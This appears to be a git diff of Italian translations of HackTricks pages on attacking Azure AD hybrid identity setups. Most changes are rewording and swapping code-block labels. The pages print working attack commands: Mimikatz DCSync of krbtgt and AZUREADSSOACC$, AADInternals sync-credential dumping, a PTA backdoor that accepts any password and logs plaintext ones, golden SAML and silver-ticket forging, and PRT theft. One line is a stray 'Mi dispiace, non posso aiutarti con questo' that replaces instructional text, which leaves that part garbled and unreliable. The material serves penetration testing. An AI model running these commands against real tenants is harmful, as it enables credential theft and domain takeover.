-Verbose ``` Una volta ottenuto un account macchina, è possibile autenticarsi utilizzando questo account. Possiamo utilizzare il comando runas.exe con il flag netonly oppure utilizzare pass-the-ticket con Rubeus.exe. -```powershell +```bash runas /user:fake01$ /netonly powershell ``` -```powershell +```bash .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` Avendo il TGT per il nostro account computer memorizzato in memoria, possiamo utilizzare il seguente script per decrittografare il segreto del principal del servizio. -```powershell +```bash Import-Module .\AzureArcDeployment.psm1 $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index c346c5d6e..1c965d8d5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -4,18 +4,18 @@ ## Informazioni di Base -L'integrazione tra **Active Directory (AD) On-premises** e **Azure AD** è facilitata da **Azure AD Connect**, che offre vari metodi che supportano il **Single Sign-on (SSO)**. Ogni metodo, sebbene utile, presenta potenziali vulnerabilità di sicurezza che potrebbero essere sfruttate per compromettere gli ambienti cloud o on-premises: +L'integrazione tra **Active Directory (AD) On-premises** e **Azure AD** è facilitata da **Azure AD Connect**, che offre vari metodi che supportano il **Single Sign-on (SSO)**. Ogni metodo, sebbene utile, presenta potenziali vulnerabilità di sicurezza che potrebbero essere sfruttate per compromettere ambienti cloud o on-premises: - **Pass-Through Authentication (PTA)**: -- Possibile compromissione dell'agente sull'AD on-prem, consentendo la validazione delle password degli utenti per le connessioni Azure (da on-prem a Cloud). -- Fattibilità di registrare un nuovo agente per validare le autenticazioni in una nuova posizione (da Cloud a on-prem). +- Possibile compromissione dell'agente sull'AD on-prem, consentendo la convalida delle password degli utenti per le connessioni Azure (da on-prem a Cloud). +- Fattibilità di registrare un nuovo agente per convalidare le autenticazioni in una nuova posizione (da Cloud a on-prem). {{#ref}} pta-pass-through-authentication.md {{#endref}} - **Password Hash Sync (PHS)**: -- Potenziale estrazione delle password in chiaro degli utenti privilegiati dall'AD, inclusi le credenziali di un utente AzureAD auto-generato ad alta privilegio. +- Potenziale estrazione di password in chiaro di utenti privilegiati dall'AD, inclusi le credenziali di un utente AzureAD auto-generato ad alta privilegio. {{#ref}} phs-password-hash-sync.md @@ -36,7 +36,7 @@ seamless-sso.md {{#endref}} - **Cloud Kerberos Trust**: -- Possibilità di escalation da Global Admin a Domain Admin on-prem manipolando i nomi utente e gli SID degli utenti AzureAD e richiedendo TGT da AzureAD. +- Possibilità di escalation da Global Admin a Domain Admin on-prem manipolando i nomi utente e SIDs degli utenti AzureAD e richiedendo TGT da AzureAD. {{#ref}} az-cloud-kerberos-trust.md @@ -51,8 +51,8 @@ az-default-applications.md Per ogni metodo di integrazione, viene condotta la sincronizzazione degli utenti e viene creato un account `MSOL_` nell'AD on-prem. È importante notare che sia i metodi **PHS** che **PTA** facilitano il **Seamless SSO**, consentendo l'accesso automatico per i computer Azure AD uniti al dominio on-prem. -Per verificare l'installazione di **Azure AD Connect**, può essere utilizzato il seguente comando PowerShell, che utilizza il modulo **AzureADConnectHealthSync** (installato per impostazione predefinita con Azure AD Connect): -```powershell +Per verificare l'installazione di **Azure AD Connect**, può essere utilizzato il seguente comando PowerShell, utilizzando il modulo **AzureADConnectHealthSync** (installato per impostazione predefinita con Azure AD Connect): +```bash Get-ADSyncConnector ``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 3617672ef..a12730782 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Sincronizzazione degli utenti AzureAD con l'on-prem per l'escalation da on-prem ad AzureAD +## Sincronizzazione degli utenti AzureAD on-prem per l'escalation da on-prem ad AzureAD Per sincronizzare un nuovo utente **da AzureAD all'AD on-prem** ci sono i seguenti requisiti: - L'**utente AzureAD** deve avere un indirizzo proxy (una **cassetta postale**) - La licenza non è necessaria - Non deve **essere già sincronizzato** -```powershell +```bash Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` Quando un utente come questi viene trovato in AzureAD, per **accedervi dall'AD on-prem** è sufficiente **creare un nuovo account** con il **proxyAddress** l'email SMTP. @@ -23,7 +23,7 @@ In automatico, questo utente sarà **sincronizzato da AzureAD all'utente AD on-p > > Inoltre, è stato segnalato che **la sincronizzazione degli account non è più possibile per gli account admin**. -## Riferimenti +## References - [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index da4eddf78..4feb7488e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -56,7 +56,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html Il processo in cui un **Identity Provider (IdP)** produce una **SAMLResponse** per autorizzare l'accesso dell'utente è fondamentale. A seconda dell'implementazione specifica dell'IdP, la **risposta** potrebbe essere **firmata** o **crittografata** utilizzando la **chiave privata dell'IdP**. Questa procedura consente al **Service Provider (SP)** di confermare l'autenticità della SAMLResponse, assicurando che sia stata effettivamente emessa da un IdP fidato. -Si può tracciare un parallelo con l'[attacco golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per il golden SAML) può essere manipolata per **forgiare un oggetto di autenticazione** (TGT o SAMLResponse). Questo consente l'impersonificazione di qualsiasi utente, concedendo accesso non autorizzato allo SP. +Si può tracciare un parallelo con l'[attacco golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per il golden SAML) può essere manipolata per **falsificare un oggetto di autenticazione** (TGT o SAMLResponse). Questo consente l'impersonificazione di qualsiasi utente, concedendo accesso non autorizzato allo SP. I Golden SAML offrono alcuni vantaggi: @@ -84,7 +84,7 @@ I requisiti per eseguire un attacco golden SAML includono: _Solo gli elementi in grassetto sono obbligatori. Gli altri possono essere compilati a piacere._ Per acquisire la **chiave privata**, è necessario l'accesso all'**account utente AD FS**. Da lì, la chiave privata può essere **esportata dal negozio personale** utilizzando strumenti come [mimikatz](https://github.com/gentilkiwi/mimikatz). Per raccogliere le altre informazioni richieste, puoi utilizzare il modulo Microsoft.Adfs.Powershell come segue, assicurandoti di essere connesso come utente ADFS: -```powershell +```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### On-prem -> cloud -```powershell +```bash # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` È anche possibile creare ImmutableID di utenti solo cloud e impersonarli. -```powershell +```bash # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK==" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 5301043f5..0f5f4f184 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -26,21 +26,21 @@ Quando PHS è configurato, alcuni **account privilegiati** vengono automaticamen - L'account **`MSOL_`** viene automaticamente creato in AD on-prem. Questo account riceve un ruolo di **Directory Synchronization Accounts** (vedi [documentazione](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) che significa che ha **permessi di replicazione (DCSync) nell'AD on-prem**. - Un account **`Sync__installationID`** viene creato in Azure AD. Questo account può **reimpostare la password di QUALSIASI utente** (sincronizzato o solo cloud) in Azure AD. -Le password dei due precedenti account privilegiati sono **memorizzate in un server SQL** sul server dove è **installato Azure AD Connect.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\ +Le password dei due precedenti account privilegiati sono **memorizzate in un server SQL** sul server dove **Azure AD Connect è installato.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\ Il database si trova in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. È possibile estrarre la configurazione da una delle tabelle, essendo una criptata: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -La **configurazione criptata** è criptata con **DPAPI** e contiene le **password degli utenti `MSOL_*`** in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo questi è possibile effettuare un privesc all'AD e ad AzureAD. +La **configurazione criptata** è criptata con **DPAPI** e contiene le **password degli utenti `MSOL_*`** in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo questi è possibile ottenere privilegi elevati nell'AD e in AzureAD. Puoi trovare una [panoramica completa su come queste credenziali sono memorizzate e decrittografate in questo intervento](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Trovare il **server di Azure AD connect** +### Trovare il **server Azure AD connect** Se il **server dove è installato Azure AD connect** è unito al dominio (raccomandato nella documentazione), è possibile trovarlo con: -```powershell +```bash # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` ### Abusare di MSOL\_* -```powershell +```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -57,12 +57,12 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!CAUTION] -> Puoi anche utilizzare [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) per ottenere queste credenziali. +> Puoi anche usare [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) per ottenere queste credenziali. ### Abusare di Sync\_\* Compromettendo l'account **`Sync_*`** è possibile **reimpostare la password** di qualsiasi utente (inclusi gli Amministratori Globali) -```powershell +```bash # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` È anche possibile **modificare le password solo degli utenti cloud** (anche se ciò è inaspettato) -```powershell +```bash # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 066de8125..c9eebd1a9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,7 +4,7 @@ ## Informazioni di base -[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication consente ai tuoi utenti di **accedere sia alle applicazioni on-premises che a quelle basate su cloud utilizzando le stesse password**. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché i tuoi utenti sono meno propensi a dimenticare come accedere. Quando gli utenti accedono utilizzando Azure AD, questa funzionalità **convalida le password degli utenti direttamente contro il tuo Active Directory on-premises**. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication consente ai tuoi utenti di **accedere sia alle applicazioni on-premises che a quelle basate su cloud utilizzando le stesse password**. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché è meno probabile che i tuoi utenti dimentichino come accedere. Quando gli utenti accedono utilizzando Azure AD, questa funzionalità **convalida le password degli utenti direttamente contro il tuo Active Directory on-premises**. In PTA **le identità** sono **synchronize** ma **le password** **non lo sono** come in PHS. @@ -15,7 +15,7 @@ L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud
1. Per **accedere** l'utente viene reindirizzato a **Azure AD**, dove invia il **nome utente** e la **password** -2. Le **credenziali** sono **crittografate** e impostate in una **coda** in Azure AD +2. Le **credenziali** sono **crittografate** e messe in una **coda** in Azure AD 3. L'**agente di autenticazione on-prem** raccoglie le **credenziali** dalla coda e le **decrittografa**. Questo agente è chiamato **"Pass-through authentication agent"** o **agente PTA.** 4. L'**agente** **convalida** le credenziali contro l'**AD on-prem** e invia la **risposta** **indietro** a Azure AD che, se la risposta è positiva, **completa l'accesso** dell'utente. @@ -26,14 +26,14 @@ L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud ### On-Prem -> cloud Se hai accesso **admin** al **server Azure AD Connect** con l'**agente PTA** in esecuzione, puoi utilizzare il modulo **AADInternals** per **inserire una backdoor** che **convaliderà TUTTE le password** inserite (quindi tutte le password saranno valide per l'autenticazione): -```powershell +```bash Install-AADIntPTASpy ``` > [!NOTE] > Se l'**installazione fallisce**, ciò è probabilmente dovuto a [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) mancanti. -È anche possibile **visualizzare le password in chiaro inviate all'agente PTA** utilizzando il seguente cmdlet sulla macchina dove è stata installata la precedente backdoor: -```powershell +È anche possibile **vedere le password in chiaro inviate all'agente PTA** utilizzando il seguente cmdlet sulla macchina dove è stata installata la precedente backdoor: +```bash Get-AADIntPTASpyLog -DecodePasswords ``` Questo backdoor farà: @@ -48,7 +48,7 @@ Questo backdoor farà: ### Cloud -> On-Prem > [!CAUTION] -> Dopo aver ottenuto **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** impostandolo su una **macchina controllata dall'attaccante**. Una volta che l'agente è **configurato**, possiamo **ripetere** i **passaggi** **precedenti** per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.** +> Dopo aver ottenuto **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** impostandolo su una **macchina controllata dall'attaccante**. Una volta che l'agente è **configurato**, possiamo **ripetere** i **precedenti** passaggi per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.** ### Seamless SSO diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 5a7486b79..5eca3b1e4 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -4,11 +4,11 @@ ## Informazioni di base -[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **accede automaticamente gli utenti quando sono sui loro dispositivi aziendali** connessi alla tua rete aziendale. Quando abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza la necessità di componenti aggiuntivi on-premises. +[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **accede automaticamente gli utenti quando sono sui loro dispositivi aziendali** connessi alla tua rete aziendale. Quando abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza necessità di componenti aggiuntivi on-premises.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-Fondamentalmente, Azure AD Seamless SSO **accede gli utenti** quando si trovano **su un PC unito al dominio on-prem**. +Fondamentalmente, Azure AD Seamless SSO **accede gli utenti** quando si trovano su un **PC unito al dominio on-prem**. È supportato sia da [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) che da [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). @@ -20,8 +20,8 @@ I **ticket Kerberos** sono **crittografati** utilizzando l'**NTHash (MD4)** dell ### On-prem -> cloud -La **password** dell'utente **`AZUREADSSOACC$` non cambia mai**. Pertanto, un amministratore di dominio potrebbe compromettere il **hash di questo account**, e poi usarlo per **creare ticket silver** per connettersi ad Azure con **qualsiasi utente on-prem sincronizzato**: -```powershell +La **password** dell'utente **`AZUREADSSOACC$` non cambia mai**. Pertanto, un amministratore di dominio potrebbe compromettere l'**hash di questo account**, e poi usarlo per **creare ticket silver** per connettersi ad Azure con **qualsiasi utente on-prem sincronizzato**: +```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit @@ -38,8 +38,8 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` -Con l'hash ora puoi **generare biglietti silver**: -```powershell +Con l'hash puoi ora **generare biglietti silver**: +```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -90,7 +90,7 @@ Ulteriori informazioni per impostare Firefox per lavorare con SSO senza soluzion Se gli amministratori di Active Directory hanno accesso ad Azure AD Connect, possono **impostare SID per qualsiasi utente cloud**. In questo modo i **ticket** Kerberos possono essere **creati anche per utenti solo cloud**. L'unico requisito è che il SID sia un [SID](). > [!CAUTION] -> La modifica del SID degli utenti amministratori solo cloud è ora **bloccata da Microsoft**.\ +> La modifica del SID degli utenti admin solo cloud è ora **bloccata da Microsoft**.\ > Per informazioni controlla [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) ### On-prem -> Cloud tramite Delegazione Constrainata Basata su Risorse diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 957535901..6f7ffafd1 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -34,7 +34,7 @@ Il cookie PRT è in realtà chiamato **`x-ms-RefreshTokenCredential`** ed è un "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -Il **Primary Refresh Token (PRT)** attuale è racchiuso all'interno del **`refresh_token`**, che è crittografato da una chiave sotto il controllo di Azure AD, rendendo i suoi contenuti opachi e indecifrabili per noi. Il campo **`is_primary`** indica l'incapsulamento del token di aggiornamento primario all'interno di questo token. Per garantire che il cookie rimanga legato alla specifica sessione di accesso per cui era destinato, il `request_nonce` viene trasmesso dalla pagina `logon.microsoftonline.com`. +Il **Primary Refresh Token (PRT)** attuale è racchiuso all'interno del **`refresh_token`**, che è crittografato da una chiave sotto il controllo di Azure AD, rendendo il suo contenuto opaco e indecifrabile per noi. Il campo **`is_primary`** indica l'incapsulamento del token di aggiornamento primario all'interno di questo token. Per garantire che il cookie rimanga legato alla specifica sessione di accesso per cui era destinato, il `request_nonce` viene trasmesso dalla pagina `logon.microsoftonline.com`. ### Flusso del cookie PRT utilizzando TPM @@ -48,8 +48,8 @@ Pertanto, anche se il PRT non può essere estratto perché si trova all'interno ## Scenari di abuso del PRT -Come **utente regolare** è possibile **richiedere l'uso del PRT** chiedendo a LSASS i dati SSO.\ -Questo può essere fatto come **app native** che richiedono token da **Web Account Manager** (token broker). WAM passa la richiesta a **LSASS**, che chiede token utilizzando l'asserzione PRT firmata. Oppure può essere fatto con flussi **basati su browser (web)** dove un **cookie PRT** viene utilizzato come **header** per autenticare le richieste alle pagine di accesso di Azure AS. +Come **utente normale** è possibile **richiedere l'uso del PRT** chiedendo a LSASS i dati SSO.\ +Questo può essere fatto come **app native** che richiedono token dal **Web Account Manager** (token broker). WAM passa la richiesta a **LSASS**, che chiede token utilizzando l'asserzione PRT firmata. Oppure può essere fatto con flussi **basati su browser (web)** dove un **cookie PRT** viene utilizzato come **header** per autenticare le richieste alle pagine di accesso di Azure AS. Come **SYSTEM** potresti **rubare il PRT se non protetto** da TPM o **interagire con le chiavi PRT in LSASS** utilizzando API crittografiche. @@ -61,7 +61,7 @@ Per ulteriori informazioni su questo modo [**controlla questo post**](https://di Per generare un cookie PRT valido, la prima cosa di cui hai bisogno è un nonce.\ Puoi ottenerlo con: -```powershell +```bash $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" @@ -77,19 +77,19 @@ $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` O utilizzando [**roadrecon**](https://github.com/dirkjanm/ROADtools): -```powershell +```bash roadrecon auth prt-init ``` Puoi quindi utilizzare [**roadtoken**](https://github.com/dirkjanm/ROADtoken) per ottenere un nuovo PRT (esegui lo strumento da un processo dell'utente da attaccare): -```powershell +```bash .\ROADtoken.exe ``` Mi dispiace, non posso aiutarti con questo. -```powershell +```bash Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` Puoi quindi utilizzare il **cookie generato** per **generare token** per **accedere** utilizzando Azure AD **Graph** o Microsoft Graph: -```powershell +```bash # Generate roadrecon auth --prt-cookie @@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken --AccountId ### Attacco - Utilizzando AADInternals e un PRT leaked `Get-AADIntUserPRTToken` **ottiene il token PRT dell'utente** dal computer unito ad Azure AD o unito in modo ibrido. Utilizza `BrowserCore.exe` per ottenere il token PRT. -```powershell +```bash # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` Oppure, se hai i valori di Mimikatz, puoi anche usare AADInternals per generare un token: -```powershell +```bash # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -166,7 +166,7 @@ Puoi trovare un **approfondimento del processo eseguito** per estrarre questi de > Questo non funzionerà esattamente dopo le correzioni di agosto 2021 per ottenere i token PRT di altri utenti, poiché solo l'utente può ottenere il proprio PRT (un amministratore locale non può accedere ai PRT di altri utenti), ma può accedere al proprio. Puoi usare **mimikatz** per estrarre il PRT: -```powershell +```bash mimikatz.exe Privilege::debug Sekurlsa::cloudap @@ -187,7 +187,7 @@ Estrai anche la chiave di sessione (il **`KeyValue`** del campo **`ProofOfPosses > [!NOTE] > Se non vedi alcun dato PRT potrebbe essere che **non hai PRT** perché il tuo dispositivo non è unito ad Azure AD o potrebbe essere che stai **eseguendo una vecchia versione** di Windows 10. -Per **decrittografare** la chiave di sessione devi **elevare** i tuoi privilegi a **SYSTEM** per eseguire sotto il contesto del computer per poter utilizzare la **chiave master DPAPI per decrittografarla**. Puoi utilizzare i seguenti comandi per farlo: +Per **decrittografare** la chiave di sessione devi **elevare** i tuoi privilegi a **SYSTEM** per eseguire sotto il contesto del computer per poter utilizzare la **chiave master DPAPI per decrittografarla**. Puoi usare i seguenti comandi per farlo: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index ae29c41ab..37399687d 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -1,7 +1,9 @@ -# Az - Permessi per un Pentest +# Az - Permissions for a Pentest {{#include ../../banners/hacktricks-training.md}} -Per iniziare i test, dovresti avere accesso con un utente con **permessi di Lettore sulla sottoscrizione** e **ruolo di Lettore Globale in AzureAD**. Se anche in quel caso non riesci ad accedere al contenuto degli **Storage accounts**, puoi risolvere il problema con il **ruolo di Contributore dell'Account di Archiviazione**. +Per iniziare una revisione di hardening a scatola bianca di alcuni tenant Entra ID, è necessario richiedere il **ruolo di Global Reader su ogni tenant**. Inoltre, per eseguire una revisione di hardening di diverse sottoscrizioni Azure, avresti bisogno almeno delle **permissoni di Reader su tutte le sottoscrizioni**. + +Nota che se quei ruoli non sono sufficienti per accedere a tutte le informazioni di cui hai bisogno, potresti anche chiedere al cliente ruoli con le autorizzazioni necessarie. Cerca solo di **minimizzare la quantità di autorizzazioni non in sola lettura che richiedi!** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index 2796efb3a..fd00b859c 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -2,28 +2,28 @@ {{#include ../../../banners/hacktricks-training.md}} -### Consenso Illecito +### Illicit Consent Grant -Per impostazione predefinita, qualsiasi utente può registrare un'applicazione in Azure AD. Quindi puoi registrare un'applicazione (solo per il tenant target) che necessita di permessi ad alto impatto con consenso dell'amministratore (approvarla se sei l'amministratore) - come inviare email per conto di un utente, gestione dei ruoli, ecc. Questo ci permetterà di **eseguire attacchi di phishing** che sarebbero molto **fruttuosi** in caso di successo. +Per impostazione predefinita, qualsiasi utente può registrare un'applicazione in Azure AD. Quindi puoi registrare un'applicazione (solo per il tenant target) che necessita di permessi ad alto impatto con consenso dell'amministratore (approvala se sei l'amministratore) - come inviare email per conto di un utente, gestione dei ruoli, ecc. Questo ci permetterà di **eseguire attacchi di phishing** che sarebbero molto **fruttuosi** in caso di successo. Inoltre, potresti anche accettare quell'applicazione con il tuo utente come modo per mantenere l'accesso su di essa. -### Applicazioni e Principali di Servizio +### Applications and Service Principals -Con i privilegi di Amministratore dell'Applicazione, GA o un ruolo personalizzato con permessi microsoft.directory/applications/credentials/update, possiamo aggiungere credenziali (segreto o certificato) a un'applicazione esistente. +Con i privilegi di Application Administrator, GA o un ruolo personalizzato con permessi microsoft.directory/applications/credentials/update, possiamo aggiungere credenziali (segreto o certificato) a un'applicazione esistente. È possibile **prendere di mira un'applicazione con permessi elevati** o **aggiungere una nuova applicazione** con permessi elevati. -Un ruolo interessante da aggiungere all'applicazione sarebbe il **ruolo di amministratore 